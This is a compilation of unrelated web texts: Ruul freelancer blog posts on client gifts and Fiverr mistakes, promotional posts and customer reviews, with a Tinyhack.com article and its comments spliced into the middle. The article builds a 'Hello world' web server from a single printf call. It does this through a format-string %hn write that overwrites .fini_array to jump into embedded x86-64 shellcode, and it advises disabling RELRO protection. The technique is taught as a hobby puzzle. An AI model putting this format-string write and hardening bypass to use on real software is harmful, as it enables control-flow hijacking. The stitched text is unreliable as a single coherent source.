Ceylin Güven 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points The holiday season has arrived; you might be considering getting gifts for your freelance clients, which is a custom that’s been getting more and more popular. After all, building better relationships with your clients can get you a long way. However, with this idea comes a few questions: What’s appropriate to get as a client gift? How much should you spend? Do you have to buy gifts for all of your freelance clients, or is there a conventional way? Don’t worry –this blog post was written to save you the trouble. Below you’ll find Ruul’s ultimate guide to freelancer gift-giving , along with a carefully curated list of creative gift ideas for clients. Happy holidays, happy freelancing, and happy shopping! 3 questions to ask yourself before buying gifts Before you rush into buying freelance client gifts , here are 3 questions you should ask yourself: What will you gain from buying your clients gifts? It’s completely normal to be on the fence about whether buying gifts for your freelance clients is worth it. This is a difficult choice to make, but can potentially end up being highly rewarding for your business. To help you make a decision, we collected some benefits this practice can bring you: Reinforcing stronger bonds and building a more genuine relationship with your client Underlining that you’re happy to be working with them through a nice gesture Possibly leading to long-term contracts by showing that you’re willing to spend money on them Paving the way for getting more business referrals Exhibiting how familiar you are with their wants and needs through personalized client gifts Which clients should you buy gifts for? If you’re not an incredibly small-scale freelancer, buying gifts for every client is virtually impossible. Picking out personalized gifts for everyone is a lot of time and effort, not to mention the added financial strain it can bring. So, how do you pick who to buy for? Narrowing down this list might be difficult because you probably don’t want to ‘leave people out’. But, we advise you to focus on how you should be taking care of yourself first –both financially and emotionally. Don’t feel pressured to buy any client gifts, and be mindful while filtering them out. Try to build on client relationships worth preserving, like long term loyal customers, larger contracts, ones that get you frequent referrals , etc. If you feel this is an insignificant and/or one-off partnership, buying them a gift might not be worth the cost and effort. Similarly, difficult clients you don’t want to stay in touch with shouldn’t expect a gift from you either. What should be the price limit? First and foremost, budgeting properly is important. After making a list of which freelance clients you’ll buy gifts for, you should divide up your gifting budget accordingly to avoid financial strain. Or, if you have a specific gift for someone in mind you really want to buy, you can frame the rest of your budget around that. Nevertheless, you shouldn’t be biting off more than you can chew when it comes to buying expensive gifts. It’s the thought that counts. All in all, it’s a completely personal decision that’s up to you. Virtual gift ideas for freelance clients Virtual cards Client gift cards are already a popular concept, but some fear it might feel too impersonal. However, you can easily customize them by creating your own virtual cards , or finding an online alternative with flexible templates. This way, you can send them on any special occasion, and also personalize them to fit your freelance business’ brand and customer’s situation. In a 2018 research, PHS Wastekit found that, each year, 1 billion Christmas cards are thrown away in the UK alone. So why not stop wasting paper and go all-digital ? Sending online cards is a great alternative–it’s sustainable, cheap (some options can also be free), and able to reach many more clients much easier. Price: Free if you design them yourself, less than $1 per client if you send them through online services Availability: All you need is an email account, and an online virtual card store, such as Paperless Post or Smilebox . Or, if you want to design them yourself, you can easily find free templates or use a graphic design software . Best for: Every client you want to thank, and/or has an important milestone coming up (holidays, birthday, promotion, etc.) Charity donation in their name What better way to share the warmth of the holiday season than to make a charity donation in the name of your client? It’s a really thoughtful gift that is bound to make some positive impact . (Bonus points if it’s a cause that’s near and dear to their heart.) You can email them the donation certificate you receive in return, and spread the love! Price: However much you want to donate Availability: Almost all charities accept online donations. There are also charity directory sites, such as Givewell , that can help you find a charity to donate to. Best for: Clients you want to extend your humane connection with Gift cards/vouchers Getting your freelance clients a store gift card is a safe choice: This way, they’ll get to pick whatever they’ll like. You can pick a giant retailer for more buying options, like Amazon, or choose somewhere that you know your client loves for a more personal detail. You can also add custom messages to the cards for an extra touch of genuinity. Price: Anywhere from $10 to $200 Availability: Online shopping sites, all chains, and some local stores Best for: Everyone that needs a little more encouragement during the holiday season Physical gift ideas for freelance clients If a virtual gift isn’t enough for you, and you want to physically mail a gift directly to your client, we got you covered. Here are 5 physical client gift ideas: Gift boxes One of the first things that come to mind with client gifts is a gift box . These are customizable boxes that include specifically curated items , so that you can especially guarantee that your client will love them. Price: Affordable boxes start at around $25, with the average options around $35-45. Varies significantly between stores, items, etc., but you don’t really need to go extremely high-end to make it a significant gift. Availability: You can find many alternatives for client gift boxes (or client gift baskets) online ( Greetabl , FoxBox , etc.). You can also DIY your own gift box with custom-bought items and ship it yourself for an added touch of genuinity. Best for: Long-term clients you want to express significant gratitude towards Confectionery boxes In a very similar vein, a confectionery gift box (also called a “dessert gift box”) is an option that only includes tasty snacks and sweets. Price: Chocolate bundles are around $20 on average, but ones that include baked goods and desserts can be all the way up to $50-$60. Availability: International shipping might be difficult and risky for this gift. There are local online stores available (like Sugarfina for the US and Canada-based), which might be a better option. Best for: Clients you have a closer relationship with Desk decoration A gift to help decorate your client’s office space and desktop can be a really thoughtful alternative. The most popular option under this category is to buy a small plant , either real or fake. These are an easy way to spice up your office setup, relatively effortless to take care of, and also among the more inexpensive client gift ideas. (Hint: If you’re not well-versed in botany, take a look at this article by House Beautiful that lists 11 low-maintenance plants that are fit for the office.) Price: Ranging anywhere between $9-$40, depending on the size and plant type Availability: Easy to find and ship from anywhere Best for: Clients with a stationary workspace, who will be able to take care of the plant (Not frequent travelers or digital nomads , for example) Alternatively, you can consider some other office desk decoration gifts, such as: A terrarium A small decorative desk lamp A monitor stand A power bank / wireless charging station Desk organizers A compact air purifier Customized drinkware Staying hydrated (and caffeinated) in the workplace is an important asset. Which is why a personalized mug , tumbler , or even a small bag of coffee beans/tea blend can make a really good present. Price: Around $5-10 Availability: There are many dedicated online shops that ship internationally ( Zazzle , VistaPrint , Etsy and Amazon stores, etc.). If you don’t find a design you like, you can easily create a custom graphic through online tools like Canva. Best for: Caffeine lovers that you are familiar enough to customize designs for Blue light blocking glasses This might seem like one of the more unique client gifts on this list, but hear us out. Anti eyestrain glasses are both relatively cheap, and an easy way to protect your health and vision. Buying one might show your thoughtfulness and that you care for the well-being of your client , which will definitely lead to positive associations. Price: $10-15 Availability: Many alternatives on international online retailers, such as Amazon Best for: Any professional who spends most of their times on their computer Customize your freelance client gifts It should be among your business goals as a freelancer to create longer-lasting relationships with your freelance clients , and sending them gifts is a great way to foster that. The most important thing to remember here is that the best client gifts are the ones personalized to the client. Don’t get them gifts just for the sake of it–show that you care. We hope our list could provide a great starting point. In the meantime, get yourself a gift by exploring our all-in-one freelancer and solopreneur platform Ruul !

https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/ | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you!

Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing.

Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector).

Avoid these common Fiverr mistakes and take your freelancing business to the next level. Learn the biggest freelancing mistakes and how to avoid them. Esen Bulut 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points Not identifying niche: Laser focus on a niche. Overpromising: Be realistic, offer clear promises. Using bad images: Prefer quality, original images. Not analyzing competitors: Analyze successful freelancers. Not presenting a portfolio: Include your best work. Not offering revisions: Offer revision rights. Not updating gigs: Update gigs regularly. Wrong pricing: Conduct market research. Doing SEO incompletely: Use the right keywords. Incomplete profile: Fill out your profile completely. Poor communication: Communicate quickly and clearly. Being successful on Fiverr is not about luck. It's just about what you do. So if you make these 12 common mistakes, it will make it harder for you to reach your Fiverr goal. Fortunately, this article will tell you the mistakes to avoid and show you how to turn them into something good. Let’s go! 1) Not creating a niche It’s common to think that targeting everyone will bring you more customers. It’s nothing but a mistake. Laser focus on a niche helps you master a field and customers prefer working with experts. What to do? Once you have chosen your generic service category, go as far down as you can according to your style, market, or experience. Take a sample: Graphic Design > Logo Design > Minimal Logo Design > Minimal Restaurant Logo Design Add your chosen niche to the Gig title, description, and tag section. Your niche helps you to be as specific as you can and plus, even if you are a newbie you look like a professional. 2) Over-promising Overpromising is a common mistake on Fiverr. Many freelancers do it to find more jobs. But in real life, this creates a high expectation–maybe higher than your real offer. Then, when you fail to meet that expectation, you get a bad score. When your success score drops critically, your profile is labeled as ‘low performance’ and your visibility is reduced. A few overblown promises: I will deliver in a few hours. I give you unlimited revisions. I guarantee 100% satisfaction. What can you do about it? Avoid over-promising when writing gig descriptions or texting with the client. For instance, these are good: "I deliver on time. For planning: the average time will be around X hours/day." "I offer X number of revisions, if you need more we can negotiate." "My goal is to provide you with the best service. With your feedback, I will work to optimize your project." That way, you do your best work without stress. 3) Using poor-quality images Low-quality images without people are less likely to be viewed. If you want to increase sales, you will need to revise the images. What should you do? Fiverr recommends using your own picture for Gig images. A well-lit, high-quality portrait is the best Gig image. Source However, we recommend giving your Gig image a few tweaks. You can do this with tools such as Canva and Adobe Express. So, what should the image size be? Recommended - 1280x769 px, 72 DPI Minimum - 712x430 pixels Maximum - 4000x2416 pixels Not: The goal is to upload a Gig image that clients will want to click on. Make sure the image doesn't violate the Fiverr Community Guidelines. 4) Not analyzing competitors Check the work of successful freelancers in your niche. This market research can give you insight into: Price info Service included Negative customer feedback Positive customer feedback Trending services And much more What should you do? First, search for your niche in the Fiverr search bar. Use the filters to browse "Top Rated" or "New Seller". For example, list freelancers with more than 1000 positive reviews. Find the freelancers with the most sales from the options that appear. The profile of a highly rated freelancer is the right one. Service description: Is it comprehensive or clear? Pricing: Does it offer different packages? Services offered: Details such as number of revisions, delivery time. Identifying the most common complaints in the comments is an effective strategy. "Late delivery." "Poor communication." "Poor quality work delivery." And you take action to do better. Most freelancers miss out on great potential by ignoring this strategy. 5) Not presenting a portfolio All right, maybe you have a great work history. But if you don't have a portfolio, you're starting out a step behind. That's why it's a big mistake not to have a portfolio of your best work on your profile. What should you do? Export your best work to a portfolio-building site and add the link to your Fiverr profile. Or, for a faster option, use Fiverr's portfolio creation service. Just click on your freelancer profile and click on the "Start Portfolio" button. 6) Not offering revisions Your client may not feel safe if you do not offer at least 1 revision right. What should you do? When creating a Gig on Fiverr, you can give free revisions. For example, if the first two revisions are free, you can charge $10 per revision afterward. If you wish, you can explain the revision rules under FAQ as shown in the image. See the common Fiverr offer creation mistakes to learn more. 7) Not updating Gigs The truth is: Gigs are like a shelf that collects dust over time. You should do a bit of cleaning and re-decorating as trends dictate. Otherwise, your Gigs may disappear into the dark pages of Fiverr. What should you do? Update your Gigs intermittently according to market demand and current prices. Is your price in line with competitors? Which areas look outdated? Do you have new projects to add to your portfolio? Also, remember that Fiverr is a search engine and SEO is important. Fiverr likes to be up-to-date, just like any search engine. It's not a sure thing, but showing interest in your Gig might be something Fiverr likes and wants to rank you higher. If you’re new to the Gig economy , discover it now–because it’s rising. 8) Wrong pricing Mispricing is a very common mistake. First, you need to understand this: Every freelancing platform has a different clientele and budget. High prices can make it hard to attract clients, especially on platforms like Fiverr where affordability is a priority. Low prices can create suspicion about quality and reliability. Fiverr takes a 20% commission , so unsustainable profits are a risk. If you want to keep your earnings , Ruul 's fee starts at 2.75% , and your money will be in your account within one day. What should you do? Do price research specific to Fiverr. For example, if you're a freelance writer, search for your niche and look at competitor prices. Yes, you may need to price low initially to get your first clients. But once you've gained reviews and credibility, gradually increase your rates . Offer options such as "Basic, Standard, Premium" to appeal to different budgets. Clearly state what each package includes to avoid misunderstandings. If you've got something special to offer, make sure you describe it and price it accordingly. 9) Implement incomplete SEO Fiverr works similarly to a search engine. When clients search for "YouTube video editing", Fiverr matches them with the most suitable freelancer. So if you don't follow SEO rules when creating a gig on Fiverr, the algorithm and customers won't be able to find you. What should you do? First, use tools like: Ahrefs, Semrush, and Ubersuggest to identify your target keywords. Then, do a search for competitors' gig titles on Fiverr. SEO optimization involves 3 important areas: Gig title Gig description Tags Without overstuffing your Gig, include the most popular keywords. This will help increase your chances of getting found. Don't leave it at that. Optimize your images and videos as well. High-quality visuals can help the algorithm make you stand out from the crowd. 10) Incomplete filling of the profile When buyers want to buy a Gig, they look at your profile. They scrutinize your photo, your portfolio, and your profile reviews. This is their first impression of your profile. It influences their buying decision. And an incomplete profile can cause your customer to walk away. What should you do? It's really easy. Fiverr has it all. You can upload a lot of information about yourself in your profile. It is not a bad idea to think of your profile as a resume or a portfolio. We think you should add a bright and friendly image where your face is in full view. Don't frown. It can create a negative impression. Explain who you are. What you offer and why customers should choose you. For readability, use short paragraphs and bullet points. Prominently list your skills with relevant keywords (ex. SEO writing, graphic design, video editing). This helps Fiverr's algorithm match you to relevant keywords when searching. You can complete your seller profile by checking Fiverr's Profile Checklist suggestions. 11) Poor communication Unfortunately, some freelancers fail to recognize the importance of good communication with clients. Delays in project delivery and ultimately unhappy clients can result from poor communication. What should you do? Use Fiverr's messaging feature to communicate openly with your client . If your client has not given enough brief for the project, do not hesitate to ask questions. Even insist on asking questions if necessary. It is good to respond quickly to client messages as long as you are available. But you don't have to. Not everyone has the same busy schedule. Clients also want to know what stage the project is at. Before they ask, you can give them information. For example, "I am at the X stage of the project, and it looks like it will be ready on the X date.” 12) Ignoring platform features The Fiverr platform is extremely competitive. To stand out, you need to take full advantage of the platform's features. Ignoring Fiverr's features that make you stand out can lead to missing out on huge sales potential. What should you do? There is a way that will bring you customers other than creating an SEO-friendly Gig: Activating Fiverr Ads. Fiverr ads may cost extra, but they can help you earn more. You can also pay for ads automatically based on your earnings. According to Fiverr, enabling gig ads can increase your visibility by up to 200%. Final words on common mistakes on Fiverr Being successful on Fiverr is no accident. The best sellers avoid most of the mistakes we just mentioned. You can analyze the results by changing your strategy immediately. Finally, you can learn tips to increase visibility from top sellers on Fiverr Community .

In his newest article for Business Age, Ruul's COO Eran Karaso , edited by Charles Orton-Jones , breaks down the three structural mistakes that consistently hold independents and small businesses back.: One key insight stands out: “The business owners who get paid reliably didn’t find better clients. They built better systems.” Clear contracts, direct payment infrastructure, and automated follow-ups aren’t optional anymore, they’re the foundation of sustainable independent work.

They need clarity, a simple way to showcase what they do and get paid from anywhere. That’s why we built Ruul Space: • Your personal storefront • One link for everything you offer • Upload, share, sell globally • Professional, fast, and built for independents You already have the skills. Now you have the store, too. 8 Like Comment Share Ruul 7,110 followers 2mo Report this post Talent isn’t enough anymore. You can have all the skills, but if clients can’t understand what you offer in seconds, you’ll lose them to someone who can. Freelancing has changed: → Tasks don’t sell. Outcomes do. → Hourly is outdated. Value wins. → Your service deserves a storefront. That’s why we built Ruul Space, a place where independents can package their services, show their value, and get paid fast, no admin, no invoices, no waiting. Because independence should feel simple. Your work. Your terms. Your pay button.

You deliver. We ensure the payout arrives; fast, global, and transparent. Invoicing, taxes, and compliance are handled.

AB Alessandro Beggi IT • 1 review Nov 11, 2025 Account closed, customers reimbursed, and money lost The first withdrawal went through successfully, the second withdrawal was blocked, customers were refunded, and I lost my money working for free. There couldn't be a worse company. What's more, they don't warn you if there's a problem. I had to contact customer service to get information about my withdrawal and found out that my account had been closed and all customers reimbursed. There are better companies out there.

Following one of these standard reviews, your account was closed due to specific risk indicators identified during the process. All related buyers were fully reimbursed to ensure fairness and transparency. For privacy and data protection reasons, we’re unable to share further details here. However, our team has already provided you with the relevant information via email. If you have any additional questions, please feel free to reply to that message, and we’ll be glad to assist further. Oliviu-Alexandru Rogozan RO • 2 reviews Oct 31, 2025 The Most Reliable Platform for Global Freelance Payments Ruul.io has been a complete game changer in how I handle client payments and invoices. It is the perfect transition tool between being independent and a professional entity - there is no need for a company to be established, yet I can send compliant invoices and receive payments from anywhere in the world very quickly. One of the main things that really emphasized is the platform safety and transparency. Money transfers happen at the exact time as they are announced, fees are reasonable and the support team members really give you the correct answers instead of just sending you the pre-made templates. The user interface is very neat, easy to understand and it can deal with different currencies without any problem. If you are a freelancer, a consultant or a digital nomad and thus, you work with international clients, then Ruul.io should not be looked at only as a tool that makes your work easier, rather it is an indispensable one. Very few are the services that save you so much time and at the same time give you total peace of mind. October 31, 2025 Unprompted review Reply from Ruul Oct 31, 2025 Thank you so much for this thoughtful and detailed review! We're delighted to hear that Ruul has made managing your international payments and invoicing easier and more reliable. It means a lot to know that you appreciate our transparency, support team, and platform design. We're glad to be part of your professional journey!💙 Ummet Kucuker TR • 1 review Oct 21, 2025 Thé solution for freelancers to get payments easily!

